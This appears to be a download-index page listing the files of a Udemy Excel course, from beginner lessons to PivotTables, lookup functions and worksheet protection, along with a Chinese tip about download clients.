Udemy - Microsoft Excel - Excel from Beginner to Advanced 2022-7

mp4   Hot：19   Size：8.49 GB   Created：2024-01-22 15:54:49   Update：2024-02-06 00:19:18  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 01 - Microsoft Excel 101 Course Introduction/001 Ask Questions.mp4 36.44 MB
    01 - Microsoft Excel 101 Course Introduction/001 Ask Questions_en.srt 2.97 KB
    01 - Microsoft Excel 101 Course Introduction/002 Course Exercise Files.mp4 27.33 MB
    01 - Microsoft Excel 101 Course Introduction/002 Course Exercise Files_en.srt 2.24 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-01.xlsx 14.28 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-AutoFill-01.xlsx 13.82 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-AutoSUM-01.xlsx 14.12 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-AverageFunction-01.xlsx 14.1 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-BasicFormulas-01.xlsx 13.68 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-Count-01.xlsx 14.31 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-Headers-01.xlsx 13.68 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-MIN-MAXFunctions-01.xlsx 14.03 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-ReferenceTypes-01.xlsx 13.67 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-SUMFunction-01.xlsx 13.77 KB
    01 - Microsoft Excel 101 Course Introduction/002 MonthlyBudget-Template-01.xlsx 14.53 KB
    01 - Microsoft Excel 101 Course Introduction/003 Certificate of Completion.mp4 23.34 MB
    01 - Microsoft Excel 101 Course Introduction/003 Certificate of Completion_en.srt 1.77 KB
    02 - Microsoft Excel Fundamentals/001 Launching Excel.mp4 33.08 MB
    02 - Microsoft Excel Fundamentals/001 Launching Excel_en.srt 2.84 KB
    02 - Microsoft Excel Fundamentals/002 Microsoft Excel Startup Screen.mp4 33.59 MB
    02 - Microsoft Excel Fundamentals/002 Microsoft Excel Startup Screen_en.srt 4.9 KB
    02 - Microsoft Excel Fundamentals/003 Introduction to the Excel Interface.mp4 112.91 MB
    02 - Microsoft Excel Fundamentals/003 Introduction to the Excel Interface_en.srt 11.49 KB
    02 - Microsoft Excel Fundamentals/004 Customizing the Excel Quick Access Toolbar.mp4 13.68 MB
    02 - Microsoft Excel Fundamentals/004 Customizing the Excel Quick Access Toolbar_en.srt 4.85 KB
    02 - Microsoft Excel Fundamentals/005 More on the Excel Interface.mp4 30.31 MB
    02 - Microsoft Excel Fundamentals/005 More on the Excel Interface_en.srt 5.68 KB
    02 - Microsoft Excel Fundamentals/006 Understanding the Structure of an Excel Workbook.mp4 13.04 MB
    02 - Microsoft Excel Fundamentals/006 Understanding the Structure of an Excel Workbook_en.srt 6.28 KB
    02 - Microsoft Excel Fundamentals/007 Saving an Excel Document.mp4 40.79 MB
    02 - Microsoft Excel Fundamentals/007 Saving an Excel Document_en.srt 6.14 KB
    02 - Microsoft Excel Fundamentals/008 Opening an Existing Excel Document.mp4 22.77 MB
    02 - Microsoft Excel Fundamentals/008 Opening an Existing Excel Document_en.srt 2.7 KB
    02 - Microsoft Excel Fundamentals/009 Common Excel Shortcut Keys.mp4 11.55 MB
    02 - Microsoft Excel Fundamentals/009 Common Excel Shortcut Keys_en.srt 3.99 KB
    02 - Microsoft Excel Fundamentals/009 CommonExcelWindowsShortcuts-01.pdf 141.5 KB
    03 - Entering and Editing Text and Formulas/001 Entering Text to Create Spreadsheet Titles.mp4 36.87 MB
    03 - Entering and Editing Text and Formulas/001 Entering Text to Create Spreadsheet Titles_en.srt 13.9 KB
    03 - Entering and Editing Text and Formulas/002 Working with Numeric Data in Excel.mp4 38.12 MB
    03 - Entering and Editing Text and Formulas/002 Working with Numeric Data in Excel_en.srt 12.96 KB
    03 - Entering and Editing Text and Formulas/003 Entering Date Values in Excel.mp4 38.63 MB
    03 - Entering and Editing Text and Formulas/003 Entering Date Values in Excel_en.srt 14.43 KB
    03 - Entering and Editing Text and Formulas/004 Working with Cell References.mp4 57.67 MB
    03 - Entering and Editing Text and Formulas/004 Working with Cell References_en.srt 9.12 KB
    03 - Entering and Editing Text and Formulas/005 Creating Basic Formulas in Excel.mp4 27.72 MB
    03 - Entering and Editing Text and Formulas/005 Creating Basic Formulas in Excel_en.srt 14.39 KB
    03 - Entering and Editing Text and Formulas/006 Relative Versus Absolute Cell References in Formulas.mp4 55.77 MB
    03 - Entering and Editing Text and Formulas/006 Relative Versus Absolute Cell References in Formulas_en.srt 18.54 KB
    03 - Entering and Editing Text and Formulas/007 OrderOfOperation-01.xlsx 9.25 KB
    03 - Entering and Editing Text and Formulas/007 Understanding the Order of Operation (DOWNLOAD EXERCISE FILE).mp4 33.53 MB
    03 - Entering and Editing Text and Formulas/007 Understanding the Order of Operation (DOWNLOAD EXERCISE FILE)_en.srt 15.13 KB
    04 - Working with Basic Excel Functions/001 EXCEL-FUNCTIONS.pptx 87.12 KB
    04 - Working with Basic Excel Functions/001 The structure of an Excel Function.mp4 154.67 MB
    04 - Working with Basic Excel Functions/001 The structure of an Excel Function_en.srt 15.5 KB
    04 - Working with Basic Excel Functions/002 Working with the SUM() Function.mp4 30.78 MB
    04 - Working with Basic Excel Functions/002 Working with the SUM() Function_en.srt 11.87 KB
    04 - Working with Basic Excel Functions/003 Working with the MIN() and MAX() Functions.mp4 20.53 MB
    04 - Working with Basic Excel Functions/003 Working with the MIN() and MAX() Functions_en.srt 10.19 KB
    04 - Working with Basic Excel Functions/004 Working with the AVERAGE() Function.mp4 9.4 MB
    04 - Working with Basic Excel Functions/004 Working with the AVERAGE() Function_en.srt 4.6 KB
    04 - Working with Basic Excel Functions/005 Working with the COUNT() Function.mp4 9.46 MB
    04 - Working with Basic Excel Functions/005 Working with the COUNT() Function_en.srt 4.56 KB
    04 - Working with Basic Excel Functions/006 Adjacent Cells Error in Excel Calculations.mp4 16.46 MB
    04 - Working with Basic Excel Functions/006 Adjacent Cells Error in Excel Calculations_en.srt 6.59 KB
    04 - Working with Basic Excel Functions/007 Using the AutoSum Command.mp4 30.65 MB
    04 - Working with Basic Excel Functions/007 Using the AutoSum Command_en.srt 11.22 KB
    04 - Working with Basic Excel Functions/008 Excel's AutoSum Shortcut Key.mp4 9.98 MB
    04 - Working with Basic Excel Functions/008 Excel's AutoSum Shortcut Key_en.srt 3.74 KB
    04 - Working with Basic Excel Functions/009 Using the AutoFill Command to Copy Formulas.mp4 19.83 MB
    04 - Working with Basic Excel Functions/009 Using the AutoFill Command to Copy Formulas_en.srt 6.86 KB
    05 - Modifying an Excel Worksheet/001 Moving and Copying Data in an Excel Worksheet.mp4 36.99 MB
    05 - Modifying an Excel Worksheet/001 Moving and Copying Data in an Excel Worksheet_en.srt 10.01 KB
    05 - Modifying an Excel Worksheet/002 Inserting and Deleting Rows and Columns.mp4 23.91 MB
    05 - Modifying an Excel Worksheet/002 Inserting and Deleting Rows and Columns_en.srt 11.49 KB
    05 - Modifying an Excel Worksheet/003 Changing the Width and Height of Cells.mp4 17.54 MB
    05 - Modifying an Excel Worksheet/003 Changing the Width and Height of Cells_en.srt 8.42 KB
    05 - Modifying an Excel Worksheet/004 Hiding and Unhiding Excel Rows and Columns.mp4 23.18 MB
    05 - Modifying an Excel Worksheet/004 Hiding and Unhiding Excel Rows and Columns_en.srt 8.56 KB
    05 - Modifying an Excel Worksheet/005 Renaming an Excel Worksheet.mp4 12.72 MB
    05 - Modifying an Excel Worksheet/005 Renaming an Excel Worksheet_en.srt 4.6 KB
    05 - Modifying an Excel Worksheet/006 Deleting an Excel Worksheet.mp4 25.64 MB
    05 - Modifying an Excel Worksheet/006 Deleting an Excel Worksheet_en.srt 7.45 KB
    05 - Modifying an Excel Worksheet/007 Moving and Copying an Excel Worksheet.mp4 23.46 MB
    05 - Modifying an Excel Worksheet/007 Moving and Copying an Excel Worksheet_en.srt 7.93 KB
    06 - Formatting Data in an Excel Worksheet/001 Working with Font Formatting Commands.mp4 33.74 MB
    06 - Formatting Data in an Excel Worksheet/001 Working with Font Formatting Commands_en.srt 12 KB
    06 - Formatting Data in an Excel Worksheet/002 Changing the Background Color of a Cell.mp4 14.42 MB
    06 - Formatting Data in an Excel Worksheet/002 Changing the Background Color of a Cell_en.srt 5.17 KB
    06 - Formatting Data in an Excel Worksheet/003 Adding Borders to Cells.mp4 11.11 MB
    06 - Formatting Data in an Excel Worksheet/003 Adding Borders to Cells_en.srt 3.76 KB
    06 - Formatting Data in an Excel Worksheet/004 Excel Cell Borders Continued.mp4 14.88 MB
    06 - Formatting Data in an Excel Worksheet/004 Excel Cell Borders Continued_en.srt 5.12 KB
    06 - Formatting Data in an Excel Worksheet/005 Formatting Data as Currency Values.mp4 20.79 MB
    06 - Formatting Data in an Excel Worksheet/005 Formatting Data as Currency Values_en.srt 6.92 KB
    06 - Formatting Data in an Excel Worksheet/006 Formatting Percentages.mp4 13.23 MB
    06 - Formatting Data in an Excel Worksheet/006 Formatting Percentages_en.srt 4.33 KB
    06 - Formatting Data in an Excel Worksheet/007 Using Excel's Format Painter.mp4 18.47 MB
    06 - Formatting Data in an Excel Worksheet/007 Using Excel's Format Painter_en.srt 6.89 KB
    06 - Formatting Data in an Excel Worksheet/008 Creating Styles to Format Data.mp4 137.18 MB
    06 - Formatting Data in an Excel Worksheet/008 Creating Styles to Format Data_en.srt 12.06 KB
    06 - Formatting Data in an Excel Worksheet/009 Merging and Centering Cells.mp4 15.09 MB
    06 - Formatting Data in an Excel Worksheet/009 Merging and Centering Cells_en.srt 5.18 KB
    06 - Formatting Data in an Excel Worksheet/010 Using Conditional Formatting.mp4 20.44 MB
    06 - Formatting Data in an Excel Worksheet/010 Using Conditional Formatting_en.srt 7.15 KB
    06 - Formatting Data in an Excel Worksheet/011 Editing Excel Conditional Formatting.mp4 11.27 MB
    06 - Formatting Data in an Excel Worksheet/011 Editing Excel Conditional Formatting_en.srt 4.23 KB
    07 - Inserting Images and Shapes into an Excel Worksheet/001 Inserting Images.mp4 42.49 MB
    07 - Inserting Images and Shapes into an Excel Worksheet/001 Inserting Images_en.srt 6.86 KB
    07 - Inserting Images and Shapes into an Excel Worksheet/002 Inserting Excel Shapes.mp4 11.37 MB
    07 - Inserting Images and Shapes into an Excel Worksheet/002 Inserting Excel Shapes_en.srt 4.7 KB
    07 - Inserting Images and Shapes into an Excel Worksheet/003 Formatting Excel Shapes.mp4 16.62 MB
    07 - Inserting Images and Shapes into an Excel Worksheet/003 Formatting Excel Shapes_en.srt 6.65 KB
    07 - Inserting Images and Shapes into an Excel Worksheet/004 Working with Excel SmartArt.mp4 49.93 MB
    07 - Inserting Images and Shapes into an Excel Worksheet/004 Working with Excel SmartArt_en.srt 14.9 KB
    08 - Creating Basic Charts in Excel/001 Creating an Excel Column Chart.mp4 15.96 MB
    08 - Creating Basic Charts in Excel/001 Creating an Excel Column Chart_en.srt 5.78 KB
    08 - Creating Basic Charts in Excel/002 Working with the Excel Chart Ribbon.mp4 12.66 MB
    08 - Creating Basic Charts in Excel/002 Working with the Excel Chart Ribbon_en.srt 4.15 KB
    08 - Creating Basic Charts in Excel/003 Adding and Modifying Data on an Excel Chart.mp4 25.04 MB
    08 - Creating Basic Charts in Excel/003 Adding and Modifying Data on an Excel Chart_en.srt 8.9 KB
    08 - Creating Basic Charts in Excel/004 Formatting an Excel Chart.mp4 30.75 MB
    08 - Creating Basic Charts in Excel/004 Formatting an Excel Chart_en.srt 11.04 KB
    08 - Creating Basic Charts in Excel/005 Moving a Chart to another Worksheet.mp4 16.51 MB
    08 - Creating Basic Charts in Excel/005 Moving a Chart to another Worksheet_en.srt 5.5 KB
    08 - Creating Basic Charts in Excel/006 Working with Excel Pie Charts.mp4 33.04 MB
    08 - Creating Basic Charts in Excel/006 Working with Excel Pie Charts_en.srt 11.73 KB
    09 - Printing an Excel Worksheet/001 Viewing your Document in Print Preview.mp4 12.44 MB
    09 - Printing an Excel Worksheet/001 Viewing your Document in Print Preview_en.srt 6.28 KB
    09 - Printing an Excel Worksheet/002 Changing the Margins, Scaling and Orientation.mp4 161.5 MB
    09 - Printing an Excel Worksheet/002 Changing the Margins, Scaling and Orientation_en.srt 14.04 KB
    09 - Printing an Excel Worksheet/003 Excel Worksheet Margins.mp4 13.4 MB
    09 - Printing an Excel Worksheet/003 Excel Worksheet Margins_en.srt 4.95 KB
    09 - Printing an Excel Worksheet/004 Working with Page Layout View.mp4 20.1 MB
    09 - Printing an Excel Worksheet/004 Working with Page Layout View_en.srt 5.33 KB
    09 - Printing an Excel Worksheet/005 Adding Header and Footer Content.mp4 60.93 MB
    09 - Printing an Excel Worksheet/005 Adding Header and Footer Content_en.srt 9.28 KB
    09 - Printing an Excel Worksheet/006 Printing a Specific Range of Cells.mp4 58.11 MB
    09 - Printing an Excel Worksheet/006 Printing a Specific Range of Cells_en.srt 5.19 KB
    10 - Working with Excel Templates/001 Intro to Excel Templates.mp4 64.3 MB
    10 - Working with Excel Templates/001 Intro to Excel Templates_en.srt 4.56 KB
    10 - Working with Excel Templates/002 Opening an Existing Template.mp4 89.98 MB
    10 - Working with Excel Templates/002 Opening an Existing Template_en.srt 14.47 KB
    10 - Working with Excel Templates/003 Creating a Custom Template.mp4 36.96 MB
    10 - Working with Excel Templates/003 Creating a Custom Template_en.srt 10.1 KB
    11 - Excel 101 - Practice What You've Learned (DOWNLOAD)/001 Excel 101 - Practice What You've Learned (DOWNLOAD).html 259 B
    11 - Excel 101 - Practice What You've Learned (DOWNLOAD)/001 Excel101ExtraPractice-01.xlsx 46.31 KB
    12 - Congratulations! You've Built a Solid Microsoft Excel Foundation/001 Congratulations!.mp4 22.78 MB
    12 - Congratulations! You've Built a Solid Microsoft Excel Foundation/001 Congratulations!_en.srt 2.77 KB
    13 - Microsoft Excel 102 Course Introduction/001 Excel 102 Course Exercise Files -- DOWNLOAD.mp4 4.11 MB
    13 - Microsoft Excel 102 Course Introduction/001 Excel 102 Course Exercise Files -- DOWNLOAD_en.srt 1.84 KB
    13 - Microsoft Excel 102 Course Introduction/001 Excel102Exercises.xlsx 123.54 KB
    13 - Microsoft Excel 102 Course Introduction/001 NorthwindDB-IMPORT.zip 467.8 KB
    13 - Microsoft Excel 102 Course Introduction/001 SalesData-TEXT-IMPORT.txt 25.89 KB
    14 - Working with an Excel List/001 Understanding Excel List Structure.mp4 53 MB
    14 - Working with an Excel List/001 Understanding Excel List Structure_en.srt 8.17 KB
    14 - Working with an Excel List/002 Sorting a List Using Single Level Sort.mp4 34.58 MB
    14 - Working with an Excel List/002 Sorting a List Using Single Level Sort_en.srt 5.31 KB
    14 - Working with an Excel List/003 Sorting a List Using Multi-Level Sorts.mp4 26.16 MB
    14 - Working with an Excel List/003 Sorting a List Using Multi-Level Sorts_en.srt 5.02 KB
    14 - Working with an Excel List/004 Using Custom Sorts in an Excel List.mp4 14.19 MB
    14 - Working with an Excel List/004 Using Custom Sorts in an Excel List_en.srt 6.36 KB
    14 - Working with an Excel List/005 Filter an Excel List Using the AutoFilter Tool.mp4 22.15 MB
    14 - Working with an Excel List/005 Filter an Excel List Using the AutoFilter Tool_en.srt 7.04 KB
    14 - Working with an Excel List/006 Creating Subtotals in a List.mp4 45.43 MB
    14 - Working with an Excel List/006 Creating Subtotals in a List_en.srt 9.93 KB
    14 - Working with an Excel List/007 Format a List as a Table.mp4 52.94 MB
    14 - Working with an Excel List/007 Format a List as a Table_en.srt 11.15 KB
    14 - Working with an Excel List/008 Using Conditional Formatting to Find Duplicates.mp4 27.73 MB
    14 - Working with an Excel List/008 Using Conditional Formatting to Find Duplicates_en.srt 5.27 KB
    14 - Working with an Excel List/009 Removing Duplicates.mp4 29.09 MB
    14 - Working with an Excel List/009 Removing Duplicates_en.srt 5.76 KB
    15 - Excel List Functions/001 Introduction to Excels Function DSUM().mp4 26.26 MB
    15 - Excel List Functions/001 Introduction to Excels Function DSUM()_en.srt 8.44 KB
    15 - Excel List Functions/002 Excel DSUM Function Single Criteria Continued.mp4 22.79 MB
    15 - Excel List Functions/002 Excel DSUM Function Single Criteria Continued_en.srt 6.96 KB
    15 - Excel List Functions/003 Excel DSUM Function with OR Criteria.mp4 12.2 MB
    15 - Excel List Functions/003 Excel DSUM Function with OR Criteria_en.srt 3.76 KB
    15 - Excel List Functions/004 Excel DSUM Function with AND Criteria.mp4 26.45 MB
    15 - Excel List Functions/004 Excel DSUM Function with AND Criteria_en.srt 7.77 KB
    15 - Excel List Functions/005 Excel Function DAVERAGE().mp4 23.41 MB
    15 - Excel List Functions/005 Excel Function DAVERAGE()_en.srt 7.23 KB
    15 - Excel List Functions/006 Excel Function DCOUNT().mp4 30.85 MB
    15 - Excel List Functions/006 Excel Function DCOUNT()_en.srt 9.7 KB
    15 - Excel List Functions/007 Excel Function SUBTOTAL().mp4 36.48 MB
    15 - Excel List Functions/007 Excel Function SUBTOTAL()_en.srt 11.48 KB
    16 - Excel Data Validation/001 Understanding the Need for Excel Data Validation.mp4 103.31 MB
    16 - Excel Data Validation/001 Understanding the Need for Excel Data Validation_en.srt 7.46 KB
    16 - Excel Data Validation/002 Creating an Excel Data Validation List.mp4 25.84 MB
    16 - Excel Data Validation/002 Creating an Excel Data Validation List_en.srt 8.17 KB
    16 - Excel Data Validation/003 Excel Decimal Data Validation.mp4 20.35 MB
    16 - Excel Data Validation/003 Excel Decimal Data Validation_en.srt 6.05 KB
    16 - Excel Data Validation/004 Adding a Custom Excel Data Validation Error.mp4 23.16 MB
    16 - Excel Data Validation/004 Adding a Custom Excel Data Validation Error_en.srt 7.82 KB
    16 - Excel Data Validation/005 Dynamic Formulas by Using Excel Data Validation Techniques.mp4 22.05 MB
    16 - Excel Data Validation/005 Dynamic Formulas by Using Excel Data Validation Techniques_en.srt 7.28 KB
    17 - Importing and Exporting Data/001 Importing Data Into Microsoft Excel.mp4 5.65 MB
    17 - Importing and Exporting Data/001 Importing Data Into Microsoft Excel_en.srt 2.48 KB
    17 - Importing and Exporting Data/002 Importing Data from Text Files.mp4 19.14 MB
    17 - Importing and Exporting Data/002 Importing Data from Text Files_en.srt 7.91 KB
    17 - Importing and Exporting Data/003 Importing Data from Microsoft Access.mp4 22.98 MB
    17 - Importing and Exporting Data/003 Importing Data from Microsoft Access_en.srt 5.92 KB
    17 - Importing and Exporting Data/004 NEW VERSION -- Import Data From Text Files into Excel.mp4 129.28 MB
    17 - Importing and Exporting Data/004 NEW VERSION -- Import Data From Text Files into Excel_en.srt 12.26 KB
    17 - Importing and Exporting Data/005 NEW VERSION -- Import Data From a Database into Excel.mp4 67.98 MB
    17 - Importing and Exporting Data/005 NEW VERSION -- Import Data From a Database into Excel_en.srt 9.39 KB
    17 - Importing and Exporting Data/006 Microsoft Excel Legacy Import Options for New Excel Versions.mp4 21.35 MB
    17 - Importing and Exporting Data/006 Microsoft Excel Legacy Import Options for New Excel Versions_en.srt 2.86 KB
    17 - Importing and Exporting Data/007 Exporting Data to a Text File.mp4 65.93 MB
    17 - Importing and Exporting Data/007 Exporting Data to a Text File_en.srt 9.85 KB
    18 - Excel PivotTables/001 Understanding Excel PivotTables.mp4 70.07 MB
    18 - Excel PivotTables/001 Understanding Excel PivotTables_en.srt 5.92 KB
    18 - Excel PivotTables/002 Creating an Excel PivotTable.mp4 70.44 MB
    18 - Excel PivotTables/002 Creating an Excel PivotTable_en.srt 10.35 KB
    18 - Excel PivotTables/003 Modifying Excel PivotTable Calculations.mp4 63.87 MB
    18 - Excel PivotTables/003 Modifying Excel PivotTable Calculations_en.srt 9.45 KB
    18 - Excel PivotTables/004 Grouping PivotTable Data.mp4 75.73 MB
    18 - Excel PivotTables/004 Grouping PivotTable Data_en.srt 12.04 KB
    18 - Excel PivotTables/005 Formatting PivotTable Data.mp4 17.37 MB
    18 - Excel PivotTables/005 Formatting PivotTable Data_en.srt 6.56 KB
    18 - Excel PivotTables/006 Modifying PivotTable Calculations.mp4 33.3 MB
    18 - Excel PivotTables/006 Modifying PivotTable Calculations_en.srt 14.41 KB
    18 - Excel PivotTables/007 Drilling Down into PivotTable Data.mp4 61.49 MB
    18 - Excel PivotTables/007 Drilling Down into PivotTable Data_en.srt 6.52 KB
    18 - Excel PivotTables/008 Creating PivotCharts.mp4 39.77 MB
    18 - Excel PivotTables/008 Creating PivotCharts_en.srt 5.89 KB
    18 - Excel PivotTables/009 Filtering PivotTable Data.mp4 11.69 MB
    18 - Excel PivotTables/009 Filtering PivotTable Data_en.srt 4.55 KB
    18 - Excel PivotTables/010 Filtering with the Slicer Tool.mp4 13.29 MB
    18 - Excel PivotTables/010 Filtering with the Slicer Tool_en.srt 4.87 KB
    19 - Working with Excel's PowerPivot Tools/001 Introduction to Excel Power Pivot.mp4 14.09 MB
    19 - Working with Excel's PowerPivot Tools/001 Introduction to Excel Power Pivot_en.srt 6.73 KB
    19 - Working with Excel's PowerPivot Tools/002 Why PowerPivot.mp4 150.86 MB
    19 - Working with Excel's PowerPivot Tools/002 Why PowerPivot_en.srt 11.53 KB
    19 - Working with Excel's PowerPivot Tools/003 Activating the Excel PowerPivot AddIn.mp4 20.32 MB
    19 - Working with Excel's PowerPivot Tools/003 Activating the Excel PowerPivot AddIn_en.srt 5.14 KB
    19 - Working with Excel's PowerPivot Tools/004 Creating Data Models with PowerPivot.mp4 74.3 MB
    19 - Working with Excel's PowerPivot Tools/004 Creating Data Models with PowerPivot_en.srt 6.92 KB
    19 - Working with Excel's PowerPivot Tools/005 Excel Power Pivot Data Model Relationships.mp4 51.89 MB
    19 - Working with Excel's PowerPivot Tools/005 Excel Power Pivot Data Model Relationships_en.srt 7.12 KB
    19 - Working with Excel's PowerPivot Tools/006 Creating PivotTables based on Data Models.mp4 25.35 MB
    19 - Working with Excel's PowerPivot Tools/006 Creating PivotTables based on Data Models_en.srt 9.63 KB
    19 - Working with Excel's PowerPivot Tools/007 Excel Power Pivot KPIs.mp4 99.02 MB
    19 - Working with Excel's PowerPivot Tools/007 Excel Power Pivot KPIs_en.srt 16.11 KB
    20 - Working with Large Sets of Excel Data/001 Using the Freeze Panes Tool.mp4 25.75 MB
    20 - Working with Large Sets of Excel Data/001 Using the Freeze Panes Tool_en.srt 5.38 KB
    20 - Working with Large Sets of Excel Data/002 Grouping Data (Columns andor Rows).mp4 31.27 MB
    20 - Working with Large Sets of Excel Data/002 Grouping Data (Columns andor Rows)_en.srt 5.78 KB
    20 - Working with Large Sets of Excel Data/003 Print Options for Large Sets of Data.mp4 33.72 MB
    20 - Working with Large Sets of Excel Data/003 Print Options for Large Sets of Data_en.srt 10.91 KB
    20 - Working with Large Sets of Excel Data/004 Linking Worksheets (3D Formulas).mp4 13 MB
    20 - Working with Large Sets of Excel Data/004 Linking Worksheets (3D Formulas)_en.srt 5.29 KB
    20 - Working with Large Sets of Excel Data/005 Consolidating Data from Multiple Worksheets.mp4 18.6 MB
    20 - Working with Large Sets of Excel Data/005 Consolidating Data from Multiple Worksheets_en.srt 7.46 KB
    21 - Excel 102 Additional Practice Exercises/001 COMPLETED-Excel102ExtraPractice-01.xlsx 247.81 KB
    21 - Excel 102 Additional Practice Exercises/001 Excel 102 - Practice What You've Learned (DOWNLOAD).html 259 B
    21 - Excel 102 Additional Practice Exercises/001 Excel102ExtraPractice-01.xlsx 234.48 KB
    22 - Congratulations! You're an Intermediate Excel User/001 Congratulations!.mp4 18.3 MB
    22 - Congratulations! You're an Intermediate Excel User/001 Congratulations!_en.srt 2.25 KB
    23 - Microsoft Excel 103 Course Introduction/001 Excel 103 Course Exercise Files -- DOWNLOAD.mp4 6.28 MB
    23 - Microsoft Excel 103 Course Introduction/001 Excel 103 Course Exercise Files -- DOWNLOAD_en.srt 2.03 KB
    23 - Microsoft Excel 103 Course Introduction/001 Excel103-AdvancedExercises.xlsx 63.59 KB
    24 - Working with Excel's Conditional Functions/001 Working with Excel Name Ranges.mp4 13.9 MB
    24 - Working with Excel's Conditional Functions/001 Working with Excel Name Ranges_en.srt 6.72 KB
    24 - Working with Excel's Conditional Functions/002 Advantages and Disadvantages of Excel Name Ranges.mp4 24.01 MB
    24 - Working with Excel's Conditional Functions/002 Advantages and Disadvantages of Excel Name Ranges_en.srt 8.26 KB
    24 - Working with Excel's Conditional Functions/003 Editing an Excel Name Range.mp4 8.03 MB
    24 - Working with Excel's Conditional Functions/003 Editing an Excel Name Range_en.srt 4.2 KB
    24 - Working with Excel's Conditional Functions/004 Using Excel's IF() Function.mp4 16.6 MB
    24 - Working with Excel's Conditional Functions/004 Using Excel's IF() Function_en.srt 8.07 KB
    24 - Working with Excel's Conditional Functions/005 Excel's IF() Function with a Name Range.mp4 17.19 MB
    24 - Working with Excel's Conditional Functions/005 Excel's IF() Function with a Name Range_en.srt 8.54 KB
    24 - Working with Excel's Conditional Functions/006 Nesting Functions with Excel.mp4 156.93 MB
    24 - Working with Excel's Conditional Functions/006 Nesting Functions with Excel_en.srt 12.61 KB
    24 - Working with Excel's Conditional Functions/007 Nesting Excels AND() Function within the IF() Function.mp4 14.96 MB
    24 - Working with Excel's Conditional Functions/007 Nesting Excels AND() Function within the IF() Function_en.srt 6.39 KB
    24 - Working with Excel's Conditional Functions/008 Using Excel's COUNTIF() Function.mp4 8.06 MB
    24 - Working with Excel's Conditional Functions/008 Using Excel's COUNTIF() Function_en.srt 3.68 KB
    24 - Working with Excel's Conditional Functions/009 Using Excel's SUMIF() Function.mp4 70.6 MB
    24 - Working with Excel's Conditional Functions/009 Using Excel's SUMIF() Function_en.srt 9.66 KB
    24 - Working with Excel's Conditional Functions/010 Using Excel's IFERROR() Function.mp4 52.29 MB
    24 - Working with Excel's Conditional Functions/010 Using Excel's IFERROR() Function_en.srt 7.74 KB
    25 - Working with Excel's Lookup Functions/001 Microsoft Excel VLOOKUP() Function.mp4 98.02 MB
    25 - Working with Excel's Lookup Functions/001 Microsoft Excel VLOOKUP() Function_en.srt 15.7 KB
    25 - Working with Excel's Lookup Functions/002 Microsoft Excel HLOOKUP() Function.mp4 30.14 MB
    25 - Working with Excel's Lookup Functions/002 Microsoft Excel HLOOKUP() Function_en.srt 8.94 KB
    25 - Working with Excel's Lookup Functions/003 Microsoft Excel INDEX() Function.mp4 96.26 MB
    25 - Working with Excel's Lookup Functions/003 Microsoft Excel INDEX() Function_en.srt 15.51 KB
    25 - Working with Excel's Lookup Functions/004 Microsoft Excel MATCH() Function.mp4 83.03 MB
    25 - Working with Excel's Lookup Functions/004 Microsoft Excel MATCH() Function_en.srt 7.38 KB
    25 - Working with Excel's Lookup Functions/005 Microsoft Excel INDEX() and MATCH() Function Combined.mp4 68.69 MB
    25 - Working with Excel's Lookup Functions/005 Microsoft Excel INDEX() and MATCH() Function Combined_en.srt 10.77 KB
    25 - Working with Excel's Lookup Functions/006 Microsoft Excel INDEX() and MATCH() Function Combined Continued.mp4 88.84 MB
    25 - Working with Excel's Lookup Functions/006 Microsoft Excel INDEX() and MATCH() Function Combined Continued_en.srt 14.6 KB
    25 - Working with Excel's Lookup Functions/007 Creating a Dynamic HLOOKUP() with the MATCH() Function.mp4 39.07 MB
    25 - Working with Excel's Lookup Functions/007 Creating a Dynamic HLOOKUP() with the MATCH() Function_en.srt 10.97 KB
    26 - Working with Excel's Text Based Functions/001 Using Excel's LEFT(), RIGHT() and MID() Functions.mp4 39.45 MB
    26 - Working with Excel's Text Based Functions/001 Using Excel's LEFT(), RIGHT() and MID() Functions_en.srt 8.68 KB
    26 - Working with Excel's Text Based Functions/002 Using Excel's LEN() Function.mp4 29.55 MB
    26 - Working with Excel's Text Based Functions/002 Using Excel's LEN() Function_en.srt 8.49 KB
    26 - Working with Excel's Text Based Functions/003 Using Excel's SEARCH() Function.mp4 40.48 MB
    26 - Working with Excel's Text Based Functions/003 Using Excel's SEARCH() Function_en.srt 17.16 KB
    26 - Working with Excel's Text Based Functions/004 Using Excel's CONCATENATE() Function.mp4 10.69 MB
    26 - Working with Excel's Text Based Functions/004 Using Excel's CONCATENATE() Function_en.srt 4.08 KB
    27 - Auditing an Excel Worksheet/001 Tracing Precedents in Excel Formulas.mp4 15.44 MB
    27 - Auditing an Excel Worksheet/001 Tracing Precedents in Excel Formulas_en.srt 5.58 KB
    27 - Auditing an Excel Worksheet/002 Tracing Dependents in Excel Formulas.mp4 11.08 MB
    27 - Auditing an Excel Worksheet/002 Tracing Dependents in Excel Formulas_en.srt 3.77 KB
    27 - Auditing an Excel Worksheet/003 Working with the Watch Window.mp4 25.42 MB
    27 - Auditing an Excel Worksheet/003 Working with the Watch Window_en.srt 5.65 KB
    27 - Auditing an Excel Worksheet/004 Showing Formulas.mp4 9.94 MB
    27 - Auditing an Excel Worksheet/004 Showing Formulas_en.srt 4.16 KB
    28 - Protecting Excel Worksheets and Workbooks/001 Protecting Specific Cells in a Worksheet.mp4 31.08 MB
    28 - Protecting Excel Worksheets and Workbooks/001 Protecting Specific Cells in a Worksheet_en.srt 11.08 KB
    28 - Protecting Excel Worksheets and Workbooks/002 Protecting the Structure of a Workbook.mp4 12.49 MB
    28 - Protecting Excel Worksheets and Workbooks/002 Protecting the Structure of a Workbook_en.srt 5.49 KB
    28 - Protecting Excel Worksheets and Workbooks/003 Adding a Workbook Password.mp4 18.55 MB
    28 - Protecting Excel Worksheets and Workbooks/003 Adding a Workbook Password_en.srt 4.27 KB
    29 - Mastering Excel's What If Tools/001 Working with Excel's Goal Seek Tool.mp4 24.08 MB
